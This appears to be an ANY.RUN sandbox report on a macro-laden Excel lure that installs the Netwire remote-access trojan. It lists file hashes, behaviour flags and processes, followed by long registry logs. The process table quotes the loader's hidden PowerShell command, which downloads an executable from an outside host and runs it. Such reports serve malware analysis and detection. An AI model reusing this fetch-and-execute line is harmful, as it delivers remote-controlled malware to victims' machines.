2cb072d9fcc9413a91b245513366c7bb52bfec2638f67c158520c2854e264208

Add for printing

File name:	LetterofIntent-Eckharthelicopter.xls
Full analysis:	https://app.any.run/tasks/398235d6-6d1a-465e-b96b-52122be095e1
Verdict:	Malicious activity
Threats:	Netwire is an advanced RAT — it is a malware that takes control of infected PCs and allows its operators to perform various actions. Unlike many RATs, this one can target every major operating system, including Windows, Linux, and MacOS. Malware Trends Tracker >>>
Analysis date:	July 24, 2020, 20:54:59
OS:	Windows 10 Professional (build: 16299, 64 bit)
Tags:	macros macros-on-open loader trojan netwire rat
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: DAZED, Last Saved By: DAZED, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jul 24 16:01:52 2020, Last Saved Time/Date: Fri Jul 24 16:06:33 2020, Security: 0
MD5:	6CB7256DDE8C6CF09FC82B7F75FD18AD
SHA1:	9B5BB3F2FDA7A6E316A210942D0D65D1E877761D
SHA256:	2CB072D9FCC9413A91B245513366C7BB52BFEC2638F67C158520C2854E264208
SSDEEP:	12288:huj3HVAQHVxSCyGnOsDRGzg5Bi0nvGfqTuRJwWJsZSk9A+oMD1L0Nc:UXVAQ1xSp8IzgSgvqRJwWJsZSoywL0S

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 660 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: on
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.431.16299.0 KB4103768
Adobe Acrobat Reader DC MUI (15.007.20033)
CCleaner (5.35)
FileZilla Client 3.31.0 (3.31.0)
Google Chrome (73.0.3683.86)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (64-bit) (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft Office Professional 2019 - de-de (16.0.12026.20264)
Microsoft Office Professional 2019 - en-us (16.0.12026.20264)
Microsoft Office Professional 2019 - es-es (16.0.12026.20264)
Microsoft Office Professional 2019 - it-it (16.0.12026.20264)
Microsoft Office Professional 2019 - ja-jp (16.0.12026.20264)
Microsoft Office Professional 2019 - ko-kr (16.0.12026.20264)
Microsoft Office Professional 2019 - pt-br (16.0.12026.20264)
Microsoft Office Professional 2019 - tr-tr (16.0.12026.20264)
Microsoft Office Professionnel 2019 - fr-fr (16.0.12026.20264)
Microsoft Office профессиональный 2019 - ru-ru (16.0.12026.20264)
Microsoft Visual C++ 2017 Redistributable (x64) - 14.11.25325 (14.11.25325.0)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.11.25325 (14.11.25325.0)
Microsoft Visual C++ 2017 x64 Additional Runtime - 14.11.25325 (14.11.25325)
Microsoft Visual C++ 2017 x64 Minimum Runtime - 14.11.25325 (14.11.25325)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.11.25325 (14.11.25325)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.11.25325 (14.11.25325)
Mozilla Firefox 65.0.2 (x64 en-US) (65.0.2)
Notepad++ (64-bit x64) (7.5.1)
Office 16 Click-to-Run Extensibility Component (16.0.12026.20264)
Office 16 Click-to-Run Licensing Component (16.0.12026.20264)
Office 16 Click-to-Run Localization Component (16.0.12026.20264)
Opera 12.15 (12.15.1748)
QGA (2.10.81)
Skype™ 7.39 (7.39.102)
Update for Windows 10 for x64-based Systems (KB4023057) (2.19.0.0)
VLC media player (2.2.6)
WinRAR 5.60 (64-bit) (5.60.0)
Windows 10 Upgrade Assistant (1.4.9200.22175)

Hotfixes

Client LanguagePack Package
Foundation Package
InternetExplorer Optional Package
KB4054022
KB4055237
KB4055994
KB4058043
KB4078408
KB4093110
KB4094276
KB4103729
KB4131372
KB4134661
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
NetFx3 OnDemand Package
ProfessionalEdition
QuickAssist Package
RollupFix

Add for printing

MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 4580)
- Executes PowerShell scripts
  - cmd.exe (PID: 72)
- Starts CMD.EXE for commands execution
  - EXCEL.EXE (PID: 4580)
- Application was dropped or rewritten from another process
  - solu.exe (PID: 1740)
  - solute.exe (PID: 2752)
- Downloads executable files from the Internet
  - powershell.exe (PID: 1948)
- Connects to CnC server
  - solu.exe (PID: 1740)
- Changes the autorun value in the registry
  - solu.exe (PID: 1740)
- NETWIRE was detected
  - solu.exe (PID: 1740)
SUSPICIOUS
- Reads Environment values
  - powershell.exe (PID: 1948)
- Creates files in the user directory
  - solute.exe (PID: 2752)
- Starts itself from another location
  - solute.exe (PID: 2752)
- Executable content was dropped or overwritten
  - powershell.exe (PID: 1948)
  - solute.exe (PID: 2752)
- Reads the machine GUID from the registry
  - powershell.exe (PID: 1948)
INFO
- Reads settings of System Certificates
  - EXCEL.EXE (PID: 4580)
  - powershell.exe (PID: 1948)
- Reads Environment values
  - EXCEL.EXE (PID: 4580)
- Reads the software policy settings
  - EXCEL.EXE (PID: 4580)
  - powershell.exe (PID: 1948)
- Creates files in the user directory
  - EXCEL.EXE (PID: 4580)
- Scans artifacts that could help determine the target
  - EXCEL.EXE (PID: 4580)
- Reads the machine GUID from the registry
  - EXCEL.EXE (PID: 4580)
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 4580)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

TRiD

.xls	\|	Microsoft Excel sheet (48)
.xls	\|	Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

CompObjUserType:	Microsoft Excel 2003 Worksheet
CompObjUserTypeLen:	31
HeadingPairs:	Worksheets 1
TitleOfParts:	Sheet1
HyperlinksChanged:	No
SharedDoc:	No
LinksUpToDate:	No
ScaleCrop:	No
AppVersion:	16
Company:
CodePage:	Windows Latin 1 (Western European)
Security:	None
ModifyDate:	2020:07:24 15:06:33
CreateDate:	2020:07:24 15:01:52
Software:	Microsoft Excel
LastModifiedBy:	DAZED
Author:	DAZED

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
4580	"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\admin\Desktop\LetterofIntent-Eckharthelicopter.xls"	C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE		explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 16.0.12026.20264
72	cmd /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe')	C:\WINDOWS\SYSTEM32\cmd.exe	—	EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.16299.15 (WinBuild.160101.0800)
3424	\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1	C:\WINDOWS\system32\conhost.exe		cmd.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.16299.15 (WinBuild.160101.0800)
1948	powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://hodrc.org/ot/solut.exe',$env:Temp+'\solute.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\solute.exe')	C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe		cmd.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.16299.15 (WinBuild.160101.0800)
2752	"C:\Users\admin\AppData\Local\Temp\solute.exe"	C:\Users\admin\AppData\Local\Temp\solute.exe		powershell.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: XACT Build Utility Exit code: 0 Version: 9.29 (DXSDK_JUN10.100602-0421)
1740	"C:\Users\admin\AppData\Roaming\solu\solu.exe"	C:\Users\admin\AppData\Roaming\solu\solu.exe		solute.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: XACT Build Utility Exit code: 0 Version: 9.29 (DXSDK_JUN10.100602-0421)

Add for printing

Total events

2 869

Read events

2 556

Write events

268

Delete events

Modification events


(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:	write	Name:	1
Value: 01D014000000001000284FFA2E01000000000000000400000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\Common\CrashPersistence\EXCEL\4580
Operation:	write	Name:	0
Value: 0B0E101D32BF610AC392449F757F82F56F1BC1230046FEA98B96CCBF98EB016A0410240044FA5D64A89E01008500A907556E6B6E6F776EC9062E226D2B484F4D616659574A5464337373702B3165327141506A326C775347586F6C4A7635624B6E337449506B3D2200
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	en-US
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	es-es
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	de-de
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	fr-fr
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	it-it
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	ja-jp
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	ko-kr
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	pt-br
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	ru-ru
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	tr-tr
Value: 2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	en-US
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	de-de
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	es-es
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	fr-fr
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	it-it
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	ja-jp
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	ko-kr
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	pt-br
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	ru-ru
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	tr-tr
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	3--
Value: 332D2D00E41100000100000000000000424716C3FC61D60100000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	4--
Value: 342D2D00E41100000000044001000000F2A918C3FC61D601D20600001D32BF610AC392449F757F82F56F1BC1424716C3FC61D6010000000000001000284FFA2E00000000060000006F006E000200000000000000000000000000556E6B6E6F776E00000000000000000000000000000000000000000000000000000000000000000000000000000000000DF0ADDE0DF0ADDE0DF0ADDE0DF0ADDE440045004600410055004C00540000000000AB0AD9010000D289EF42FF7F000040000000D901000000000000D90100005034A70CD901000048F1AFEB3B0000002020A30CD9010000D8F1AFEB3B000000D8F7AFEB3B00000000F5AFEB3B00000090168E0CD9010000D8F1AFEB3B00000098F4AFEB3B00000090168E0CD901000000F5AFEB3B000000340000C000000000D8F7AFEB3B000000D8F7AFEB3B00000010F2AFEB3B000000D031A70CD9010000B031A70CD90100005C0EBE22FF7F00000000000000000000C31EBE22FF7F0000E031A30CD90100008A28AE22FF7F0000FEFFFFFFFFFFFFFFD031A70CD901000000168E0CD901000090168E0CD901000090168E0CD9010000CE25BE22FF7F00009037AD0CD9010000B031A70CD901000098178E0CD901000008178E0CD9010000FEFFFFFFFFFFFFFFE865C622FF7F0000FEFFFFFFFFFFFFFF70178E0CD90100000000000000000000DB01BD22FF7F0000D0F1AFEB3B00000010F2AFEB3B000000D8F7AFEB3B000000998EC09A0B23E847E031A30CD90100008A28AE22FF7F0000000000000200000090168E0CD9010000E032A30CD9010000E031A30CD901000034030000000000001562BB22FF7F000030F2AFEB3B00000066F5AD22FF7F0000E031A30CD90100006380BC22FF7F00000000000000000000F8F1AFEB3B000000FEFFFFFFFFFFFFFF9675AD22FF7F00000000000000000000440045004600410055004C005400000030030000000000004014A50AD901000000000000FF7F00000000A50AD90100006020A30CD901000000F5AFEB3B00000090000000FF7F000098F4AFEB3B00000030030000000000000000000000000000C00CA50AD90100000000AB0AD90100009CBBEF42FF7F0000F006000000000000000000000000000000000000000000001C0000000000000000000000000000007668EF42FF7F0000000000000000000000000000000000000000AB0AD901000001000000FF7F0000000000000000000030D2A20CD90100001000000000000000FC000000CA02000000000000D901000020D2A20CD901000020D2A20CD9010000FF030000000000008000000000000000E0070000000000000D010000000000000D010000000000000D0100000000000000000000000000000300000000000000E0F7AFEB3B000000C0F4AFEB3B0000000496BF22FF7F0000353FFFFF6D00000088F4AFEB32FEFFFF0300000000000000E4C2AB0AD90100005001AB0AD90100007C010000000000006040A30CD9010000F61FBE22FF7F000020C3AB0AD90100000D01000000000000FEFFFFFFFFFFFFFFBF9ABF22FF7F000030F4AFEB3B00000066F5AD22FF7F000000000000D9010000F8008B40FF7F000000F9AFEB3B000000F00600000000000000000000000000009D01EF42FF7F00000D010000000000001700000000000000440045004600410055004C005400000090719340FF7F000002000002FF7F000098F5AFEB3B00000000000000000000004628AD20FF7F00004A030049FF7F000001000000000000003AC108F30000000001F5AFEB3B00000002000002FF7F00002020A30CD901000000000000D901000001F5AFEB3B0000000100000000000000340000C03B0000004A030049FF7F0000D084C722FF7F0000A884C722FF7F000050A0A60CD901000000178E0CD9010000407A971DFF7F00005034A70CD901000000000000000000000000000000000000407A971DFF7F000000000000000000006F00000000000000F0060000000000000000AB0AD9010000AB8EEF42FF7F00000000AB0AD901000002000000FF7F0000E006000000000000F0060000000000008806AB0AD9010000F8F4AFEB3B0000006040A30CD901000003000000FF7F00006040A30CD90100006040A30CD901000018000000000000007668EF42FF7F00002020A30CD9010000D67BD220FF7F00000000000000000000658BB922FF7F00005034A70CD9010000D67BD220FF7F000030881B1EFF7F00000100000000000000407A971DFF7F000000000000000000000800000000000000CB853C20FF7F0000A0D2A20CD9010000E006000000000000A0F9AFEB3B000000000000000000000030D2A20CD9010000A37C3C20FF7F000040D2A20CD9010000A0F9AFEB3B0000004FF406EBE915000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006E006F00
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	ProxyBypass
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	IntranetName
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{02FD33DF-F746-4A10-93A0-2BC6273BC8E4}
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{B866D7AE-7C99-4C20-AA98-278FC044FB98}
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{F562BB8E-422D-4B5C-B20E-90D710F7D11C}
Operation:	write	Name:	2
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{F562BB8E-422D-4B5C-B20E-90D710F7D11C}
Operation:	write	Name:	Categories
Value: 06020000170200000B020000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{02FD33DF-F746-4A10-93A0-2BC6273BC8E4}
Operation:	write	Name:	4
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{02FD33DF-F746-4A10-93A0-2BC6273BC8E4}
Operation:	write	Name:	Categories
Value: BF010000CD030000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSTagIds0
Value: 17846737,5804129,17696988,18409363,17339781,8758344,17634580,18375312,18658649,7668685,18948102,18428691,7214608,9319450,17126295,18658648,17322183,5850062,18384724,18658650,18637650,18674530,20789191,16920930,17311449,17698821,18409416,7668686,22131214,18948101,7398615,20026645,19978122,17182941,7668692,7440607,22131171,18711811,19153728,17182981,17182942,4859234,25514583,18384801,17322188,17331930,5601374,19543138,17146274,7668683,5898847,17622912,5850584,8263521,8254547,22070208,18633496,23729926,17182980,8988293,18474530,8697678,17922253,7649375,4317338,17372928,21030619,16859363,6636695,17322181,9176926,24466059,5850122,17956946,6366290,8448079,5850463,6690465,7649377,17064074,5850305,5850582,17425358,8750272,8709129,19223073,5898845,18917267,17182979,6166345,17885409,17846738,17182943,23729931,17322184,7459348,6636694,5850583,22131201,8430030,7218753,17846749,5810308,17182982,18970382,22595280,5850061,5898851,17331926,7668682,17331923,7668681,17698820,17846753,7668693,17331927,17846750,17331929,17127502,6137435,23459486,6170083,17127501,17698822,8988294,17106064,17846730,17698823,17846747,17846734,7398614,17110992,22853700,18948169,17846735,17846748,17846736,19261452,19261450,19261453,19261451,6341763,7116053,6366291,17610659,18716634,18716635,17372899,17102418,17914001,18917269,6029780,8750242,17913997,17913998,17913999,4289286,17914000,7463684,17914002,17914003,5898849,22872910,17962391,24466061,8433728,5898880,5898881,5898884,22929427,8701660,18917328,18917326,18949600,17578125,18917268,18917271,22131169,18917330,18970383,25514584,18949601,22595279,17322179,22131208,18208672,22131207,17127511,22131213,8750241,22853699,5850525,5587867,22929425,4564173,23414153,17127509,18208656,16815750,7690258,8263520,22083550,7463105,22872911,7690253,19978123,18647262,25514585,5601367,17962392,7966755,25514582,6647824,17573643,7868952,17445651,17106059,17445650,17106060,17106065,17106063,17962113,19744898,18625879,19531353,36467677,5601379,7202269,23978014,7168707,6059089,17110988,5601366,8709120,18441314,17311443,8747207,19174148,18208657,22349186,17311450,18633497,9037324,8996805,4859233,17969938,18208715,18208705,18208658,17311446,8709078,8709086,8709089,18621250,8709081,20248016,16860185,7214607,8750274,16843347,20489431,17339214,17618826,18384725,7690256,19744899,19732354,5888003,19732353,36467808,7690254,19543137,18375313,18384802,18647260,18647259,18647261,20026646,7657413,7649378,7657414,17842627,8447777,16815754,18970381,19198081,17045407,17045408,8430031,8254544,6301592,17425365,24131419,17322180,17322182,17322187,22929429,8758345,36292435
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSCategoriesSeverities
Value: 827 15,1001 15,1000 15,1282 50,226 15,999 15,1338 50,1338 10,1249 10,998 15,1039 15,831 15,1282 10,1249 15,1338 15,1282 15,829 15,1128 15,291 15,850 15,1622 50,828 15,1255 15,830 15,974 15,670 15,671 15,1002 15,669 15,70 50,2086 15,2087 15,2088 15
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSAllCategories
Value: 10
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Roaming
Operation:	write	Name:	RoamingConfigurableSettings
Value: DC00000000000000803A0900E407070005001800140037001E001803000000000000000000000000201C0000201C00008051010080510100805101008051010080F4030080F4030080F403002C01000084030000805101000000000084030000805101000A0000001E0000001E000000000000000000000080510100010000000100000000000000000000000000000000000000008D2700008D2700008D2700010000000A000000805101000000300000003000000030000000000084030000805101002C0100008403000080510100050000000500000005000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Roaming
Operation:	write	Name:	RoamingLastSyncTime
Value: E407070005001800140037001E001803
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Roaming
Operation:	write	Name:	RoamingLastWriteTime
Value: E407070005001800140037001E001803
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Licensing\CachedLicenseData
Operation:	write	Name:	excel.exe
Value: 02E0C11717D3479948A6D31022DB7415E01000000000000000300034003100310031002D003000380033002D00300034003300370032003900000001000000010000000600000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\196\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	3--
Value: 332D2D00E41100000100000000000000424716C3FC61D60100000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs
Operation:	write	Name:	CountryCode
Value: std::wstring\|IT
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Experiment\excel
Operation:	write	Name:	BuildNumber
Value: 16.0.12026
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel
Operation:	write	Name:	Expires
Value: int64_t\|0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel
Operation:	delete value	Name:	ETag
Value: std::wstring\|"m+HOMafYWJTd3ssp+1e2qAPj2lwSGXolJv5bKn3tIPk="
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|2
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|3
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|4
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|5
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|6
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|7
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|8
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|9
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|10
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|11
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|12
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|13
